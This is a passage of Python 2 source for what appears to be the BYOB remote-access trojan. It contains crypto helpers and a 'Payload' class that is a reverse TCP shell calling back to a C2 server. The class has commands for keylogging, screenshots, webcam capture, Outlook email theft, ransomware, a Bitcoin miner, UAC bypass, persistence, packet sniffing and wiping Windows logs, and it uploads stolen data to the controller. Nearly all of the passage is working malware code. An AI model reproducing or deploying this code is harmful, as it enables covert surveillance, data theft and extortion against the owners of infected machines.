        return _bytes_to_string(self._last_cipherblock)

    def decrypt(self, ciphertext):
        if len(ciphertext) != 16:
            raise ValueError('ciphertext block must be 16 bytes')

        cipherblock = _string_to_bytes(ciphertext)
        plaintext = [ (p ^ l) for (p, l) in zip(self._aes.decrypt(cipherblock), self._last_cipherblock) ]
        self._last_cipherblock = cipherblock

        return _bytes_to_string(plaintext)


def pad(s, block_size=16):
    """
    Pad a byte string to proper block size by appending null bytes

    """
    return s + (block_size - len(bytes(s)) % block_size) * chr(0)

def long_to_bytes(n, blocksize=0):
    """
    Convert an integer to a byte string.

    `Required`
    :param long n:      long integer to convert to byte string

    """
    import struct
    s = b''
    n = int(n)
    while n > 0:
        s = struct.pack('>I', n & 0xffffffff) + s
        n = n >> 32
    for i in xrange(len(s)):
        if s[i] != b'\000'[0]:
            break
    else:
        s = b'\000'
        i = 0
    s = s[i:]
    if blocksize > 0 and len(s) % blocksize:
        s = (blocksize - len(s) % blocksize) * b'\000' + s
    return s

def bytes_to_long(s):
    """
    Convert a byte string to a long integer (big endian).

    `Required`
    :param str s:       byte string to convert to long integer

    """
    import struct
    acc = 0
    length = len(s)
    if length % 4:
        extra = (4 - length % 4)
        s = b'\000' * extra + s
        length = length + extra
    for i in xrange(0, length, 4):
        acc = (acc << 32) + struct.unpack('>I', s[i:i+4])[0]
    return acc

def diffiehellman(connection):
    """
    Diffie-Hellman Internet Key Exchange (RFC 2741)

    `Requires`
    :param socket connection:     socket.socket object

    Returns the 256-bit binary digest of the SHA256 hash
    of the shared session encryption key

    """
    g  = 2
    p  = 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AACAA68FFFFFFFFFFFFFFFF
    a  = bytes_to_long(os.urandom(32))
    xA = pow(g, a, p)
    connection.send(long_to_bytes(xA))
    xB = bytes_to_long(connection.recv(256))
    x  = pow(xB, a, p)
    return hashlib.sha256(long_to_bytes(x)).digest()

def encrypt_aes(plaintext, key):
    """
    AES-256-CBC encryption

    `Requires`
    :param str plaintext:   plain text/data
    :param str key:         session encryption key

    """
    text = pad(plaintext)
    iv = os.urandom(AESModeOfOperationCBC.block_size)
    cipher = AESModeOfOperationCBC(key, iv=iv)
    output = b''.join([cipher.encrypt(text[x:x+AESModeOfOperationCBC.block_size]) for x in xrange(0, len(text), AESModeOfOperationCBC.block_size)])
    return base64.b64encode(iv + output)

def decrypt_aes(ciphertext, key):
    """
    AES-256-CBC decryption

    `Requires`
    :param str ciphertext:  encrypted block of data
    :param str key:         session encryption key

    """
    ciphertext = base64.b64decode(ciphertext)
    iv = ciphertext[:AESModeOfOperationCBC.block_size]
    ciphertext = ciphertext[len(iv):]
    cipher = AESModeOfOperationCBC(key, iv=iv)
    output = b''.join([cipher.decrypt(ciphertext[x:x+AESModeOfOperationCBC.block_size]) for x in xrange(0, len(ciphertext), AESModeOfOperationCBC.block_size)])
    return output.rstrip(chr(0))

def encrypt_xor(data, key, block_size=8, key_size=16, num_rounds=32, padding=chr(0)):
    """
    XOR-128 encryption

    `Required`
    :param str data:        plaintext
    :param str key:         256-bit key

    `Optional`
    :param int block_size:  block size
    :param int key_size:    key size
    :param int num_rounds:  number of rounds
    :param str padding:     padding character

    Returns encrypted ciphertext as base64-encoded string

    """
    data    = bytes(data) + (int(block_size) - len(bytes(data)) % int(block_size)) * bytes(padding)
    blocks  = [data[i * block_size:((i + 1) * block_size)] for i in range(len(data) // block_size)]
    vector  = os.urandom(8)
    result  = [vector]
    for block in blocks:
        block   = bytes().join(chr(ord(x) ^ ord(y)) for x, y in zip(vector, block))
        v0, v1  = struct.unpack("!2L", block)
        k       = struct.unpack("!4L", key[:key_size])
        sum, delta, mask = 0, 0x9e3779b9, 0xffffffff
        for round in range(num_rounds):
            v0  = (v0 + (((v1 << 4 ^ v1 >> 5) + v1) ^ (sum + k[sum & 3]))) & mask
            sum = (sum + delta) & mask
            v1  = (v1 + (((v0 << 4 ^ v0 >> 5) + v0) ^ (sum + k[sum >> 11 & 3]))) & mask
        output  = vector = struct.pack("!2L", v0, v1)
        result.append(output)
    return base64.b64encode(bytes().join(result))

def decrypt_xor(data, key, block_size=8, key_size=16, num_rounds=32, padding=chr(0)):
    """
    XOR-128 encryption

    `Required`
    :param str data:        ciphertext
    :param str key:         256-bit key

    `Optional`
    :param int block_size:  block size
    :param int key_size:    key size
    :param int num_rounds:  number of rounds
    :param str padding:     padding character

    Returns decrypted plaintext as string

    """
    data    = base64.b64decode(data)
    blocks  = [data[i * block_size:((i + 1) * block_size)] for i in range(len(data) // block_size)]
    vector  = blocks[0]
    result  = []
    for block in blocks[1:]:
        v0, v1  = struct.unpack("!2L", block)
        k0     = struct.unpack("!4L", key[:key_size])
        delta, mask = 0x9e3779b9, 0xffffffff
        sum     = (delta * num_rounds) & mask
        for round in range(num_rounds):
            v1  = (v1 - (((v0 << 4 ^ v0 >> 5) + v0) ^ (sum + k0[sum >> 11 & 3]))) & mask
            sum = (sum - delta) & mask
            v0  = (v0 - (((v1 << 4 ^ v1 >> 5) + v1) ^ (sum + k0[sum & 3]))) & mask
        decode  = struct.pack("!2L", v0, v1)
        output  = str().join(chr(ord(x) ^ ord(y)) for x, y in zip(vector, decode))
        vector  = block
        result.append(output)
    return str().join(result).rstrip(padding)


_abort = False
_debug = '--debug' in sys.argv

class Payload():
    """
    Reverse TCP shell designed to provide remote access
    to the host's terminal, enabling direct control of the
    device from a remote server.

    """

    def __init__(self, host='127.0.0.1', port=1337, **kwargs):
        """
        Create a reverse TCP shell instance

        `Required`
        :param str host:          server IP address
        :param int port:          server port number

        """
        self.handlers = {}
        self.remote = {'modules': [], 'packages': []}
        self.flags = self._get_flags()
        self.connection = self._get_connection(host, port)
        self.key = self._get_key(self.connection)
        self.info = self._get_info()

    def _get_flags(self):
        return collections.namedtuple('flag', ('connection','passive','prompt'))(threading.Event(), threading.Event(), threading.Event())

    def _get_command(self, cmd):
        if bool(hasattr(self, cmd) and hasattr(getattr(self, cmd), 'command') and getattr(getattr(self, cmd),'command')):
            return getattr(self, cmd)
        return False

    def _get_connection(self, host, port):
        while True:
            try:
                connection = socket.create_connection((host, port))
                break
            except (socket.error, socket.timeout):
                log("Unable to connect to server. Retrying in 30 seconds...")
                time.sleep(30)
                continue
            except Exception as e:
                log("{} error: {}".format(self._get_connection.func_name, str(e)))
                sys.exit()
        self.flags.connection.set()
        return connection

    def _get_key(self, connection):
        if isinstance(connection, socket.socket):
            if 'diffiehellman' in globals() and callable(globals()['diffiehellman']):
                return globals()['diffiehellman'](connection)
            else:
                raise Exception("unable to complete session key exchange: missing required function 'diffiehellman'")
        else:
            raise TypeError("invalid object type for argument 'connection' (expected {}, received {})".format(socket.socket, type(connection)))

    def _get_info(self):
        info = {}
        for function in ['public_ip', 'local_ip', 'platform', 'mac_address', 'architecture', 'username', 'administrator', 'device']:
            try:
                info[function] = globals()[function]()
            except Exception as e:
                log("{} returned error: {}".format(function, str(e)))
        data = globals()['encrypt_aes'](json.dumps(info), self.key)
        msg = struct.pack('!L', len(data)) + data
        self.connection.sendall(msg)
        return info

    def _get_resources(self, target=None, base_url=None):
        try:
            if not isinstance(target, list):
                raise TypeError("keyword argument 'target' must be type '{}'".format(list))
            if not isinstance(base_url, str):
                raise TypeError("keyword argument 'base_url' must be type '{}'".format(str))
            if not base_url.startswith('http'):
                raise ValueError("keyword argument 'base_url' must start with http:// or https://")
            log('[*] Searching %s' % base_url)
            path = urllib2.urlparse.urlsplit(base_url).path
            base = path.strip('/').replace('/','.')
            names = [line.rpartition('</a>')[0].rpartition('>')[2].strip('/') for line in urllib2.urlopen(base_url).read().splitlines() if 'href' in line if '</a>' in line if '__init__.py' not in line]
            for n in names:
                name, ext = os.path.splitext(n)
                if ext in ('.py','.pyc'):
                    module = '.'.join((base, name)) if base else name
                    if module not in target:
                        log("[+] Adding %s" % module)
                        target.append(module)
                elif not len(ext):
                    t = threading.Thread(target=self._get_resources, kwargs={'target': target, 'base_url': '/'.join((base_url, n))})
                    t.daemon = True
                    t.start()
                else:
                    resource = '/'.join((path, n))
                    if resource not in target:
                        target.append(resource)
        except Exception as e:
            log("{} error: {}".format(self._get_resources.func_name, str(e)))

    @threaded
    def _get_prompt_handler(self):
        self.send_task({"session": self.info.get('uid'), "task": "prompt", "result": "[ %d @ {} ]> ".format(os.getcwd())})
        while True:
            try:
                self.flags.prompt.wait()
                self.send_task({"session": self.info.get('uid'), "task": "prompt", "result": "[ %d @ {} ]> ".format(os.getcwd())})
                self.flags.prompt.clear()
                if globals()['_abort']:
                    break
            except Exception as e:
                log(str(e))
                break

    @threaded
    def _get_thread_handler(self):
        while True:
            jobs = self.handlers.items()
            for task, worker in jobs:
                try:
                    if not worker.is_alive():
                        dead = self.handlers.pop(task, None)
                        del dead
                except Exception as e:
                    log(str(e))
            if globals()['_abort']:
                break
            time.sleep(0.5)

    @config(platforms=['win32','linux2','darwin'], command=True, usage='cd <path>')
    def cd(self, path='.'):
        """
        Change current working directory

        `Optional`
        :param str path:  target directory (default: current directory)

        """
        if os.path.isdir(path):
            return os.chdir(path)
        else:
            return os.chdir('.')

    @config(platforms=['win32','linux2','darwin'], command=True, usage='ls <path>')
    def ls(self, path='.'):
        """
        List the contents of a directory

        `Optional`
        :param str path:  target directory

        """
        output = []
        if os.path.isdir(path):
            for line in os.listdir(path):
                if len('\n'.join(output + [line])) < 2048:
                    output.append(line)
                else:
                    break
            return '\n'.join(output)
        else:
            return "Error: path not found"

    @config(platforms=['win32','linux2','darwin'], command=True, usage='cat <path>')
    def cat(self, path):
        """
        Display file contents

        `Required`
        :param str path:  target filename

        """
        output = []
        if not os.path.isfile(path):
            return "Error: file not found"
        for line in open(path, 'rb').read().splitlines():
            if len(line) and not line.isspace():
                if len('\n'.join(output + [line])) < 48000:
                    output.append(line)
                else:
                    break
        return '\n'.join(output)

    @config(platfoms=['win32','linux2','darwin'], command=False)
    def ftp(self, source, filetype=None, host=None, user=None, password=None):
        """
        Upload file/data to FTP server

        `Required`
        :param str source:    data or filename to upload

        `Optional`
        :param str filetype:  upload file type
        :param str host:      FTP server hostname
        :param str user:      FTP server login user
        :param str password:  FTP server login password

        """
        try:
            for attr in ('host', 'user', 'password'):
                if not locals().get(attr):
                    raise Exception("missing credential '{}' is required for FTP uploads".format(attr))
            path  = ''
            local = time.ctime().split()
            if os.path.isfile(str(source)):
                path   = source
                source = open(str(path), 'rb')
            elif hasattr(source, 'seek'):
                source.seek(0)
            else:
                source = StringIO.StringIO(bytes(source))
            host = ftplib.FTP(host=host, user=user, password=password)
            addr = urllib2.urlopen('http://api.ipify.org').read()
            if 'tmp' not in host.nlst():
                host.mkd('/tmp')
            if addr not in host.nlst('/tmp'):
                host.mkd('/tmp/{}'.format(addr))
            if path:
                path = '/tmp/{}/{}'.format(addr, os.path.basename(path))
            else:
                if filetype:
                    filetype = '.' + str(filetype) if not str(filetype).startswith('.') else str(filetype)
                    path = '/tmp/{}/{}'.format(addr, '{}-{}_{}{}'.format(local[1], local[2], local[3], filetype))
                else:
                    path = '/tmp/{}/{}'.format(addr, '{}-{}_{}'.format(local[1], local[2], local[3]))
            stor = host.storbinary('STOR ' + path, source)
            return path
        except Exception as e:
            return "{} error: {}".format(self.ftp.func_name, str(e))

    @config(platforms=['win32','linux2','darwin'], command=True, usage='pwd')
    def pwd(self, *args):
        """
        Show name of present working directory

        """
        return os.getcwd()

    @config(platforms=['win32','linux2','darwin'], command=True, usage='eval <code>')
    def eval(self, code):
        """
        Execute Python code in current context

        `Required`
        :param str code:        string of Python code to execute

        """
        try:
            return eval(code)
        except Exception as e:
            return "{} error: {}".format(self.eval.func_name, str(e))

    @config(platforms=['win32','linux2','darwin'], command=True, usage='wget <url>')
    def wget(self, url, filename=None):
        """
        Download file from URL

        `Required`
        :param str url:         target URL to download ('http://...')

        `Optional`
        :param str filename:    name of the file to save the file as

        """
        if url.startswith('http'):
            try:
                path, _ = urllib.urlretrieve(url, filename) if filename else urllib.urlretrieve(url)
                return path
            except Exception as e:
                log("{} error: {}".format(self.wget.func_name, str(e)))
        else:
            return "Invalid target URL - must begin with 'http'"

    @config(platforms=['win32','linux2','darwin'], command=True, usage='kill')
    def kill(self):
        """
        Shutdown the current connection

        """
        try:
            self.flags.connection.clear()
            self.flags.prompt.clear()
            self.connection.close()
            for thread in self.handlers:
                try:
                    self.stop(thread)
                except Exception as e:
                    log("{} error: {}".format(self.kill.func_name, str(e)))
        except Exception as e:
            log("{} error: {}".format(self.kill.func_name, str(e)))

    @config(platforms=['win32','linux2','darwin'], command=True, usage='help [cmd]')
    def help(self, name=None):
        """
        Show usage help for commands and modules

        `Optional`
        :param str command:      name of a command or module

        """
        if not name:
            try:
                return json.dumps({v.usage: v.func_doc.strip('\n').splitlines()[0].lower() for k,v in vars(Payload).items() if callable(v) if hasattr(v, 'command') if getattr(v, 'command')})
            except Exception as e:
                log("{} error: {}".format(self.help.func_name, str(e)))
        elif hasattr(Payload, name) and hasattr(getattr(Payload, name), 'command'):
            try:
                return json.dumps({getattr(Payload, name).usage: getattr(Payload, name).func_doc})
            except Exception as e:
                log("{} error: {}".format(self.help.func_name, str(e)))
        else:
            return "'{}' is not a valid command and is not a valid module".format(name)

    @config(platforms=['win32','linux2','darwin'], command=True, usage='load <module> [target]')
    def load(self, args):
        """
        Remotely import a module or package

        `Required`
        :param str module:  name of module/package

        `Optional`
        :param str target:  name of the target destination (default: globals)

        """
        args = str(args).split()
        if len(args) == 1:
            module, target = args[0], ''
        elif len(args) == 2:
            module, target = args
        else:
            return "usage: {}".format(self.load.usage)
        target = globals()[target].__dict__ if bool(target in globals() and hasattr(target, '__dict__')) else globals()
        host, port = self.connection.getpeername()
        base_url_1 = 'http://{}:{}'.format(host, port + 1)
        base_url_2 = 'http://{}:{}'.format(host, port + 2)
        with globals()['remote_repo'](self.remote['packages'], base_url_2):
            with globals()['remote_repo'](self.remote['modules'], base_url_1):
                try:
                    exec('import {}'.format(module), target)
                    log('[+] {} remotely imported'.format(module))
                except Exception as e:
                    log("{} error: {}".format(self.load.func_name, str(e)))

    @config(platforms=['win32','linux2','darwin'], command=True, usage='stop <job>')
    def stop(self, target):
        """
        Stop a running job

        `Required`
        :param str target:    name of job to stop
        """
        try:
            if target in self.handlers:
                _ = self.handlers.pop(target, None)
                del _
                return "Job '{}' was stopped.".format(target)
            else:
                return "Job '{}' not found".format(target)
        except Exception as e:
            log("{} error: {}".format(self.stop.func_name, str(e)))

    @config(platforms=['win32','linux2','darwin'], command=True, usage='show <value>')
    def show(self, attribute):
        """
        Show value of an attribute

        `Required`
        :param str attribute:    payload attribute to show

        Returns attribute(s) as a dictionary (JSON) object

        """
        try:
            attribute = str(attribute)
            if 'jobs' in attribute:
                return json.dumps({a: status(_threads[a].name) for a in self.handlers if self.handlers[a].is_alive()})
            elif 'privileges' in attribute:
                return json.dumps({'username': self.info.get('username'),  'administrator': 'true' if bool(os.getuid() == 0 if os.name is 'posix' else ctypes.windll.shell32.IsUserAnAdmin()) else 'false'})
            elif 'info' in attribute:
                return json.dumps(self.info)
            elif hasattr(self, attribute):
                try:
                    return json.dumps(getattr(self, attribute))
                except:
                    try:
                        return json.dumps(vars(getattr(self, attribute)))
                    except: pass
            elif hasattr(self, str('_%s' % attribute)):
                try:
                    return json.dumps(getattr(self, str('_%s' % attribute)))
                except:
                    try:
                        return json.dumps(vars(getattr(self, str('_%s' % attribute))))
                    except: pass
            else:
                return self.show.usage
        except Exception as e:
            log("'{}' error: {}".format(_threads.func_name, str(e)))

    @config(platforms=['win32','linux2','darwin'], command=True, usage='abort')
    def abort(self, *args):
        """
        Abort execution and self-destruct

        """
        globals()['_abort'] = True
        try:
            if os.name is 'nt':
                clear_system_logs()
            if 'persistence' in globals():
                global persistence
                for method in persistence.methods:
                    if persistence.methods[method].get('established'):
                        try:
                            remove = getattr(persistence, 'remove_{}'.format(method))()
                        except Exception as e2:
                            log("{} error: {}".format(method, str(e2)))
            if not _debug:
                delete(sys.argv[0])
        finally:
            shutdown = threading.Thread(target=self.connection.close)
            taskkill = threading.Thread(target=self.process, args=('kill python',))
            shutdown.start()
            taskkill.start()
            sys.exit()

    @config(platforms=['darwin'], command=True, usage='icloud')
    def icloud(self):
        """
        Check for logged in iCloud account on macOS

        """
        if 'icloud' not in globals():
            self.load('icloud')
        return globals()['icloud'].run()

    @config(platforms=['win32','linux2','darwin'], command=True, usage='sms <send/read> [args]')
    def phone(self, args):
        """
        Use an online phone to send text messages

        `Required`
        :param str phone:     recipient phone number
        :param str message:   text message to send

        `Optional`
        :param str account:   Twilio account SID
        :param str token:     Twilio auth token
        :param str api:       Twilio api key

        """
        if 'phone' not in globals():
            self.load('phone')
        args = globals()['kwargs'](args)
        if all():
            return globals()['phone'].run(number=args.number, message=args.message, sid=args.sid, token=args.token)
        else:
            return 'usage: <send/read> [args]\n  arguments:\n\tnumber: phone number with country code - no spaces (ex. 18001112222)\n\tmessage: text message to send surrounded by quotes (ex. "example text message")\n\tsid: twilio account SID\n\ttoken: twilio auth token'

    @config(platforms=['linux2','darwin'], command=True, usage='miner <url> <user> <pass>')
    def miner(self, args):
        """
        Run Bitcoin miner in the background

        `Required`
        :param str url:         stratum mining server url
        :param str username:    username for mining server
        :param str password:    password for mining server

        """
        if 'miner' not in globals():
            self.load('miner')
        args = str(args).split()
        if len(args) == 3:
            url, username, password = args
            try:
                globals()['miner'].run(url, username, password)
                return """Bitcoin miner running in background\nURL: {0}\nUser: {1}""".format(url, username)
            except Exception as e:
                return "{} error: {}".format(self.miner.func_name, str(e))
        else:
            return "usage: {}".format(self.miner.usage)

    @config(platforms=['win32','linux2','darwin'], command=False)
    def imgur(self, source, api_key=None):
        """
        Upload image file/data to Imgur

        `Required`
        :param str source:    data or filename

        """
        try:
            if api_key:
                if not isinstance(api_key, str):
                    raise TypeError("argument 'api_key' data type must be: {}".format(str))
                if not api_key.lower().startswith('client-id'):
                    api_key  = 'Client-ID {}'.format(api_key)
                if 'normalize' in globals():
                    source = normalize(source)
                post = post('https://api.imgur.com/3/upload', headers={'Authorization': api_key}, data={'image': base64.b64encode(source), 'type': 'base64'})
                return str(json.loads(post)['data']['link'])
            else:
                return "No Imgur API Key found"
        except Exception as e2:
            return "{} error: {}".format(self.imgur.func_name, str(e2))

    @config(platforms=['win32','linux2','darwin'], command=True, usage='upload <mode> [file]')
    def upload(self, filename):
        """
        Upload file from client machine to the C2 server

        `Required`
        :param str source:      filename

        """
        try:
            if os.path.isfile(filename):
                host, port = self.connection.getpeername()
                _, filetype = os.path.splitext(filename)
                with open(filename, 'rb') as fp:
                    source = base64.b64encode(fp.read())
                data = {filetype: source}
                globals()['post']('http://{}:{}'.format(host, port+3), json=data)
                return "Upload complete"
            else:
                return "Error: file not found"
        except Exception as e:
            log("{} error: {}".format(self.upload.func_name, str(e)))
            return "Error: {}".format(str(e))

    @config(platforms=['win32','linux2','darwin'], registry_key=r"Software\BYOB", command=True, usage='ransom <mode> [path]')
    def ransom(self, args):
        """
        Encrypt personal files on client machine

        `Required`
        :param str mode:        encrypt, decrypt, payment
        :param str target:      target filename or directory path

        """
        if 'ransom' not in globals():
            self.load('ransom')
        return globals()['ransom'].run(args)

    @config(platforms=['win32','linux2','darwin'], command=True, usage='webcam <mode> [options]')
    def webcam(self, args=None):
        """
        Capture image/video from client webcam

        `Required`
        :param str mode:      stream, image, video

        `Optional`
        :param str upload:    imgur (image mode), ftp (video mode)
        :param int port:      integer 1 - 65355 (stream mode)

        """
        try:
            if 'webcam' not in globals():
                self.load('webcam')
            if not args:
                return self.webcam.usage
            args = str(args).split()
            if 'stream' in args:
                if len(args) != 2:
                    log("Error - stream mode requires argument: 'port'")
                elif not args[1].isdigit():
                    log("Error - port must be integer between 1 - 65355")
                else:
                    host, _ = self.connection.getpeername()
                    port = int(args[1])
                    globals()['webcam'].stream(host=host, port=port)
            elif 'image' in args:
                img = globals()['webcam'].image(*args)
                data = {"png": img}
                host, port = self.connection.getpeername()
                globals()['post']('http://{}:{}'.format(host, port+3), json=data)
            elif 'video' in args:
                vid = globals()['webcam'].video(*args)
                data = {"avi": vid}
                host, port = self.connection.getpeername()
                globals()['post']('http://{}:{}'.format(host, port+3), json=data)
            else:
                return self.webcam.usage
            return "Webcam capture complete"
        except Exception as e:
            log("{} error: {}".format(self.webcam.func_name, str(e)))

    @config(platforms=['win32','linux2','darwin'], command=True, usage='passive')
    def passive(self):
        """
        Keep client alive while waiting to re-connect

        """
        self.flags['connection'].clear()
        self._get_connection()

    @config(platforms=['win32','linux2','darwin'], command=True, usage='restart [output]')
    def restart(self, output='connection'):
        """
        Restart the shell

        """
        try:
            log("{} failed - restarting in 3 seconds...".format(output))
            self.kill()
            time.sleep(3)
            os.execl(sys.executable, 'python', os.path.abspath(sys.argv[0]), *sys.argv[1:])
        except Exception as e:
            log("{} error: {}".format(self.restart.func_name, str(e)))

    @config(platforms=['win32','darwin'], command=True, usage='outlook <option> [mode]')
    def outlook(self, args=None):
        """
        Access Outlook email in the background

        `Required`
        :param str mode:    installed, run, count, search, upload

        """
        if 'outlook' not in globals():
            self.load('outlook')
        elif not args:
            try:
                if not globals()['outlook'].installed():
                    return "Error: Outlook not installed on this host"
                else:
                    return "Outlook is installed on this host"
            except: pass
        else:
            try:
                mode, _, arg   = str(args).partition(' ')
                if hasattr(globals()['outlook'], mode):
                    if 'run' in mode:
                        self.handlers['outlook'] = globals()['outlook'].run()
                        return "Fetching emails from Outlook inbox..."
                    elif 'upload' in mode:
                        results = globals()['outlook'].results
                        if len(results):
                            host, port = self.connection.getpeername()
                            data = {'txt': base64.b64encode(json.dumps(results))}
                            globals()['post']('http://{}:{}'.format(host, port+3), json=data)
                            return "Upload of Outlook emails complete"
                    elif hasattr(globals()['outlook'], mode):
                        return getattr(globals()['outlook'], mode)()
                    else:
                        return "Error: invalid mode '%s'" % mode
                else:
                    return self.outlook.usage
            except Exception as e:
                log("{} error: {}".format(self.email.func_name, str(e)))

    @config(platforms=['win32'], command=True, usage='escalate')
    def escalate(self):
        """
        Attempt UAC bypass to escalate privileges

        """
        try:
            if 'escalate' not in globals():
                self.load('escalate')
            return globals()['escalate'].run(sys.argv[0])
        except Exception as e:
            log("{} error: {}".format(self.escalate.func_name, str(e)))

    @config(platforms=['win32','linux2','darwin'], process_list={}, command=True, usage='execute <path> [args]')
    def execute(self, args):
        """
        Run an executable program in a hidden process

        `Required`
        :param str path:    file path of the target program

        `Optional`
        :param str args:    arguments for the target program

        """
        path, args = [i.strip() for i in args.split('"') if i if not i.isspace()] if args.count('"') == 2 else [i for i in args.partition(' ') if i if not i.isspace()]
        args = [path] + args.split()
        if os.path.isfile(path):
            name = os.path.splitext(os.path.basename(path))[0]
            try:
                info = subprocess.STARTUPINFO()
                info.dwFlags = subprocess.STARTF_USESHOWWINDOW ,  subprocess.CREATE_NEW_ps_GROUP
                info.wShowWindow = subprocess.SW_HIDE
                self.execute.process_list[name] = subprocess.Popen(args, startupinfo=info)
                return "Running '{}' in a hidden process".format(path)
            except Exception as e:
                try:
                    self.execute.process_list[name] = subprocess.Popen(args, 0, None, None, subprocess.PIPE, subprocess.PIPE)
                    return "Running '{}' in a new process".format(name)
                except Exception as e:
                    log("{} error: {}".format(self.execute.func_name, str(e)))
        else:
            return "File '{}' not found".format(str(path))

    @config(platforms=['win32'], command=True, usage='process <mode>')
    def process(self, args=None):
        """
        Utility method for interacting with processes

        `Required`
        :param str mode:    block, list, monitor, kill, search, upload

        `Optional`
        :param str args:    arguments specific to the mode

        """
        try:
            if 'process' not in globals():
                self.load('process')
            if args:
                cmd, _, action = str(args).partition(' ')
                if 'monitor' in cmd:
                    self.handlers['process_monitor'] = globals()['process'].monitor(action)
                    return "Monitoring process creation for keyword: {}".format(action)
                elif 'upload' in cmd:
                    log = globals()['process'].log.getvalue()
                    if len(log):
                        data = {'log': base64.b64encode(log)}
                        host, port = self.connection.getpeername()
                        globals()['post']('http://{}:{}'.format(host, port+3), json=data)
                        return "Process log upload complete"
                    else:
                        return "Process log is empty"
                elif hasattr(globals()['process'], cmd):
                    return getattr(globals()['process'], cmd)(action) if action else getattr(globals()['process'], cmd)()
            return "usage: process <mode>\n    mode: block, list, search, kill, monitor"
        except Exception as e:
            log("{} error: {}".format(self.process.func_name, str(e)))

    @config(platforms=['win32','linux2','darwin'], command=True, usage='portscan <target>')
    def portscan(self, target=None):
        """
        Scan a target host or network to identify
        other target hosts and open ports.

        `Required`
        :param str target:      IPv4 address

        """
        if 'portscanner' not in globals():
            self.load('portscanner')
        try:
            if target:
                if not ipv4(target):
                    return "Error: invalid IP address '%s'" % target
                return globals()['portscanner'].run(target)
            else:
                return self.portscan.usage
        except Exception as e:
            log("{} error: {}".format(self.portscan.func_name, str(e)))

    def pastebin(self, source, api_key=None):
        """
        Dump file/data to Pastebin

        `Required`
        :param str source:      data or filename

        `Optional`
        :param str api_key:     Pastebin api_dev_key

        Returns URL of pastebin document as a string

        """
        try:
            if api_key:
                info = {'api_option': 'paste', 'api_paste_code': normalize(source), 'api_dev_key': api_key}
                paste = globals()['post']('https://pastebin.com/api/api_post.php',data=info)
                parts = urllib2.urlparse.urlsplit(paste)
                return urllib2.urlparse.urlunsplit((parts.scheme, parts.netloc, '/raw' + parts.path, parts.query, parts.fragment)) if paste.startswith('http') else paste
            else:
                return "{} error: no pastebin API key".format(self.pastebin.func_name)
        except Exception as e:
            return '{} error: {}'.format(self.pastebin.func_name, str(e))

    @config(platforms=['win32','linux2','darwin'], command=True, usage='keylogger [mode]')
    def keylogger(self, mode=None):
        """
        Log user keystrokes

        `Required`
        :param str mode:    run, stop, status, upload

        """
        def status():
            try:
                length = globals()['keylogger'].logs.tell()
                return "Log size: {} bytes".format(length)
            except Exception as e:
                log("{} error: {}".format('keylogger.status', str(e)))
        if 'keylogger' not in globals():
            self.load('keylogger')
        if not mode:
            if 'keylogger' not in self.handlers:
                return globals()['keylogger'].usage
            else:
                return locals()['status']()
        else:
            if 'run' in mode or 'start' in mode:
                if 'keylogger' not in self.handlers:
                    self.handlers['keylogger'] = globals()['keylogger'].run()
                    return locals()['status']()
                else:
                    return locals()['status']()
            elif 'stop' in mode:
                try:
                    self.stop('keylogger')
                except: pass
                try:
                    self.stop('keylogger')
                except: pass
                return locals()['status']()
            elif 'upload' in mode:
                data = base64.b64encode(globals()['keylogger'].logs.getvalue())
                host, port = self.connection.getpeername()
                globals()['post']('http://{}:{}'.format(host, port + 3), json={'txt': data})
                globals()['keylogger'].logs.reset()
                return 'Keystroke log upload complete'
            elif 'status' in mode:
                return locals()['status']()
            else:
                return keylogger.usage

    @config(platforms=['win32','linux2','darwin'], command=True, usage='screenshot <mode>')
    def screenshot(self, mode=None):
        """
        Capture a screenshot from host device

        `Optional`
        :param str mode:   ftp, imgur (default: None)

        """
        try:
            if 'screenshot' not in globals():
                self.load('screenshot')
            img = globals()['screenshot'].run()
            data = {"png": img}
            host, port = self.connection.getpeername()
            globals()['post']('http://{}:{}'.format(host, port+3), json=data)
            return 'Screenshot complete'
        except Exception as e:
            result = "{} error: {}".format(self.screenshot.func_name, str(e))
            log(result)
            return result

    @config(platforms=['win32','linux2','darwin'], command=True, usage='persistence <add/remove> [method]')
    def persistence(self, args=None):
        """
        Establish persistence on client host machine

        `Required`
        :param str target:          add, remove. methods, results

        `Methods`
        :method all:                All Methods
        :method registry_key:       Windows Registry Key
        :method scheduled_task:     Windows Task Scheduler
        :method startup_file:       Windows Startup File
        :method launch_agent:       Mac OS X Launch Agent
        :method crontab_job:        Linux Crontab Job
        :method hidden_file:        Hidden File

        """
        try:
            if not 'persistence' in globals():
                self.load('persistence')
            cmd, _, action = str(args).partition(' ')
            if cmd not in ('add','remove'):
                return self.persistence.usage
            for method in globals()['persistence']._methods:
                if action == 'all' or action == method:
                    try:
                        getattr(globals()['persistence']._methods[method], cmd)()
                    except Exception as e:
                        log("{} error: {}".format(self.persistence.func_name), str(e))
            return json.dumps(globals()['persistence'].results())
        except Exception as e:
            log("{} error: {}".format(self.persistence.func_name, str(e)))

    @config(platforms=['linux2','darwin'], capture=[], command=True, usage='packetsniffer [mode]')
    def packetsniffer(self, args):
        """
        Capture traffic on local network

        `Required`
        :param str args:        run, stop, upload

        """
        try:
            if 'packetsniffer' not in globals():
                self.load('packetsniffer')
            args = str(args).split()
            if len(args):
                mode = args[0]
                if 'run' in mode:
                    globals()['packetsniffer'].flag.set()
                    self.handlers['packetsniffer'] = globals()['packetsniffer'].run()
                    return "Network traffic capture started"
                elif 'stop' in mode:
                    globals()['packetsniffer'].flag.clear()
                    return "Network traffic captured stopped"
                elif 'upload' in mode:
                    log = globals()['packetsniffer'].log.getvalue()
                    if len(log):
                        globals()['packetsniffer'].log.reset()
                        data = {'pcap': base64.b64encode(log)}
                        host, port = self.connection.getpeername()
                        globals()['post']('http://{}:{}'.format(host, port+3), json=data)
                        return "Network traffic log upload complete"
                    else:
                        return "Network traffic log is empty"
                else:
                    return self.packetsniffer.usage
        except Exception as e:
            log("{} error: {}".format(self.packetsniffer.func_name, str(e)))

